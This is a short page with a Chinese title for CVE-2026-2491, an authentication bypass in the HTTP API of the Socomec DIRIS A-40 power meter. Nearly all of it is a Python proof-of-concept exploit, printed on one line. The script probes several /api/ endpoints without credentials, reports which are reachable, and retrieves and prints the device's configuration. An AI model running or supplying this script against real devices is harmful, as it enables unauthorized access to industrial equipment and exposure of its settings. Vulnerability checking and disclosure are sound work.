CVE-2026-2491 Socomec DIRIS A-40 HTTP API身份认证绕过漏洞

# CVE-2026-2491 PoC - Socomec DIRIS A-40 Authentication Bypass # Target: Socomec DIRIS A-40 HTTP API (TCP Port 80) # Attack Vector: Adjacent Network # Authentication Required: None import requests import sys def check_vulnerability(target_ip): """ Check if target is vulnerable to CVE-2026-2491 """ target_url = f"http://{target_ip}/api/" # Try to access API endpoints without authentication endpoints = [ "/api/config", "/api/status", "/api/system", "/api/users", "/api/settings" ] print(f"[*] Testing CVE-2026-2491 on {target_ip}") print(f"[*] Target URL: {target_url}") for endpoint in endpoints: try: url = target_url + endpoint.lstrip('/') response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} accessible without auth") print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)} bytes") elif response.status_code == 401: print(f"[-] Protected: {endpoint} requires auth") else: print(f"[*] Endpoint {endpoint} returned: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {endpoint}: {e}") return True def exploit_config_access(target_ip): """ Exploit: Access sensitive configuration without authentication """ config_url = f"http://{target_ip}/api/config" try: response = requests.get(config_url, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed configuration data") print(f"[+] Response:") print(response.text[:500]) return response.json() except Exception as e: print(f"[!] Exploit failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-2491.py <target_ip>") sys.exit(1) target = sys.argv[1] check_vulnerability(target) exploit_config_access(target)